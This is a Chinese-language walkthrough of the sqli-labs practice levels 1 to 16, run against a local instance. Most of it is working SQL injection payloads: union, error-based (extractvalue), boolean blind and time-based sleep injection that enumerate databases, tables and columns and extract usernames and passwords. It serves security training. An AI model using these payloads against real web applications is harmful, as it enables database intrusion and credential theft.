文章目录
Less-1
第一关注入类型为字符型且单引号会报错的
判断注入点
加单引号报错
?id=1'
拼接下方语句 回显正常
id=1‘ and '1'='1
将末尾的1改成2
id=1'and'1'='2
浏览器不显示
可以初步判断此处存在字符型注入
判断字段长度
?id=1' order by 1 --+
到 4的时候报错,表示该字段只有3列
判断回显位置
id=1' and 1=2 union select 1,2,3 --+
下图可知,回显位置在2,3
判断库名
id=1' and 1=2 union select 1,database(),3 --+
当前库为security
判断表名
id=1' and 1=2 union select 1,2, group_concat(table_name) from information_schema.tables where table_schema='security'
查出当前数据库中所有的表名
判断字段名
users表我很感兴趣,查一下这个表
id=1' and 1=2 union select 1,2,group_concat(column_name)from information_schema.columns where table_name='users' and table_schema='security'--+
知道字段名中有用户名和密码,可以查出所有用户名和密码的值
因为已经知道了数据库名和表名还有要查的字段名,所以可以直接查了
id=1' and 1=2 union select 1,2,group_concat(concat_ws(',',username,password)) from security.users--+
这是所有用户名和密码
Less-2
判断注入点
第一步
加单引号报错,发现报错附近只有单引号可以初步判断是数字型注入
?id=1'
第二步
在浏览器拼接下面参数
?id=1 and 1=1
回显正常
第三步
在浏览器拼接下面参数
?id=1 and 1=2
不显示,为数字型注入
后面的流程和Less-1关一样
order by 判断字段数
?id=1 order by 4
报错 说明有3个字段
判断回显位置
?id=1 and 1=2 union select 1,2,3
2,3可注入payload
爆当前库
?id=1 and 1=2 union select 1,2,(select database())
爆所有表
?id=1 and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema ='security'
爆字段
users有价值,爆users
?id=1 and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema ='security' and table_name='users'
爆字段值
因为知道了库名,表名和字段名,就可以直接查
select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users)
Less-3
判断注入点
判断方法和前几关一样
?id=1'
发现这一关用括号闭合
判断字符型和数字型,回显省略,前面第一关和第二关已经分享过了
这一关是字符型注入
爆当前库
?id=1') and 1=2 union select 1,2,database()--+
爆表
http://localhost/sqli-labs/Less-3/?id=1') and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema ='security'--+
爆字段
?id=1') and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema ='security' and table_name='users' --+
字段值
?id=1') and 1=2 union select 1,(select group_concat(username) from security.users ),(select group_concat(password)from security.users)--+
Less-4
判断注入点
?id=1'
发现正常显示
换成双引号,报错
?id=1"
省略 回显
爆当前库
?id=1") and 1=2 union select 1,2,database() --+
爆表
?id=1") and 1=2 union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema='security') --+
爆字段
?id=1") and 1=2 union select 1,2,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users') --+
##爆字段值
?id=1") and 1=2 union select 1,(select group_concat(username)from security.users),(select group_concat(password)from security.users) --+
Less-5
这一关不关你输入对的信息,只显示 you are in
但你输入错误的信息它会报错
所以这关用报错注入
报错注入不需要关注回显位置
爆当前库
?id=1' and 1=2 union select extractvalue(1,concat('~',database()));--+
爆表
?id=1' and 1=2 union select extractvalue(1,concat('~',(select group_concat(table_name)from information_schema.tables where table_schema='security')));--+
爆字段
?id=1' and 1=2 union select extractvalue(1,concat('~',(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users')));--+
爆字段值
将limit 0,1中的0依次增加1,就会显示出所有的账号和密码
?id=1' and 1=2 union select extractvalue(1,concat('~',(select concat_ws(',',username,password)from security.users limit 0,1)));--+
Less-6
判断注入点
这一关和第五关一样,正确信息返回 you are in 错误信息报错
这一关单引号不报错,双引号报错
?id=1"
使用报错注入
爆当前库
?id=1" and 1=2 union select extractvalue(1,concat('~',(select database())))--+
爆当前表
?id=1" and 1=2 union select extractvalue(1,concat('~',(select group_concat(table_name)from information_schema.tables where table_schema='security')))--+
爆当前字段
?id=1" and 1=2 union select extractvalue(1,concat('~',(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users')))--+
爆字段值
将limit 0,1 中的0依次加1 就可以爆出所有字段值
?id=1" and 1=2 union select extractvalue(1,concat('~',(select concat_ws(',',username,password)from security.users limit 0,1)))--+
Less-7
这一关输入正确信息 只显示 you are in 错误信息报错,但不说明是哪种错误,这个时候就要一个一个试
分两步
- 第一步,尝试加单引号,如果报错,进行第二步,不报错,继续进行第一步试
最后发现是单引号双括号闭合 - 第二步
向下方一样加注释符–+ ,如果不报错,显示正常显示的内容,就可以判断出这里的闭合方式,
报错,表示不是这种闭合方式,返回第一步继续试
==============================================================================================
通过上面的两步走,判断出这里的闭合方式为’))
?id=1')) and 1=1 --+
?id=1')) and 1=2 --+
爆库
先看库长度
?id=1')) and length((select database()))=8--+
说明库长为8
再一个字母一个字母的爆
id=1')) and substr((select database()),1,1) ='s'--+
表示第一个字母为s
再第二个参数累加1,且不停变换等号右边的值,当返回you are in时表示就是这个字母
第二个字母是e
id=1')) and substr((select database()),2,1) ='e'--+
依次类推,所有的字母为security
爆表
先判断一行的长度
表示一行长度为29
?id=1')) and length((select group_concat( table_name) from information_schema.tables where table_schema='security')) =29--+
当一个字段的表名爆完后limit 0,1 中的0依次累加1, limit 0,1)1,1 加粗的1累次加1 判断当前字
?id=1')) and substr((select group_concat( table_name) from information_schema.tables where table_schema='security' limit 0,1),1,1) ='e'--+
爆字段
先看一行的长度
一行长度为20
?id=1')) and length((select group_concat(column_name )from information_schema.columns where table_schema='security' and table_name='users'))=20--+
用这句话一个一个试,当与你输入的字母或数字相等时就会显示 you are in ,
1),1,1))=‘i’ 从左到右第二个1用来控制显示第几个字母,当第一个字母确定为i时,就可以增1,判断第二个字母是什么了
?id=1')) and substr((select group_concat(column_name )from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i'--+
爆字段值
先看一下第一行长度
limit 0,1 表示显示第一行数据,将0改成1表示显示第二行数据
?id=1')) and LENGTH((SELECT CONCAT_WS(',', username, password) FROM security.users limit 0,1))=9 --+
limit 0,1 表示显示第一行数据,将0改成1表示显示第二行数据
倒数第二个1表示显示第一个字母,改成2表示显示第二个字母
?id=1')) and substr((SELECT CONCAT_WS(',', username, password) FROM security.users limit 0,1),1,1)='d' --+
然后再看第二行长度,再逐个爆第二行的文字,依次类推
Less-8
判断注入点
?id=1'
再加上注释看回显不,如果回显表示就是这个闭合方式
?id=1'--+
然后再用第七关的方式进行布尔盲注
Less-9
不论怎么输入,都只显示you are yin,那么只能用时间盲注了
判断注入点
利用if 和sleep 语句判断注入点
?id=1' and if(1=1,sleep(5),1) --+
通过查看时间发现,执行了5秒,表示这里的注入点是单引号注入
判断当前数据库名
这句话的意思试,如果当前数据库的第一个字母为s时,网络等待5秒后服务器返回数据
?id=1' and if(substr((select database()),1,1) ='s',sleep(5),1) --+
这里请求了5秒才返回,表示第一个字母为s,
依次类推第二个第三个
爆表
payload和第7关一模一样
先判断一行长度,如果页面响应了5秒,表示判断正确
?id=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema='security')) =29,sleep(5),1) --+
判断表中的第一个字母
?id=1' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1) ='e',sleep(5),1) --+
流程和布尔盲注一样,只不过这里要看响应时间
爆字段
先判断长度
?id=1' and if(length((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')) =20,sleep(5),1) --+
判断每个字母
?id=1' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,1) ='i',sleep(5),1) --+
爆字段值
先判断每一行的长度
?id=1' and if(length((select concat_ws(',',username,password)from security.users limit 0,1)) =9,sleep(5),1) --+
判断每一行字母
?id=1' and if(substr((select concat_ws(',',username,password)from security.users limit 0,1),1,1)='d',sleep(5),1)--+
Less-10
和第9关一样 不论输入什么都不会变化,所以需要进行时间盲注
判断注入点
?id=1" and if(1=1,sleep(5),1)--+
这里是双引号注入
其他步骤和第九关一样
Less-11
这一关明显是post请求,注入点在输入框中寻找,不像前面可以直接再网址上传参数
判断注入点
加一个单引号试一下
报错
发现注入点在username的输入框,接下来就和第一关一样了,用联合注入,或者报错注入
这里用联合注入
判断字段数
输入框中的注释符–+不起作用了,要用#
1' and 1=2 order by 3 #
判断回显位置
1' and 1=2 union select 1,2 #
判断当前库
1' and 1=2 union select database(),2#
爆表和爆字段和第一关都一样
Less-12
判断注入点
当我们在输入框输入1 和1’没反应
输入1” 报错
并发现 这里是双引号括号闭合
剩下的和11关一样
Less -13
判断注入点
当我们输入1‘时报错,发现是’)闭合的方式
剩下的和第11关一样
Less-14
判断注入点
我们输入1"时候报错,发现这里是双引号闭合
我们发现这里不显示数据了,表示这里得用报错注入了
1" and extractcaclue(1,concat('~',database()))#
Less-15和Less-16
我们不论怎么输入,都不报错,所以只能用布尔盲注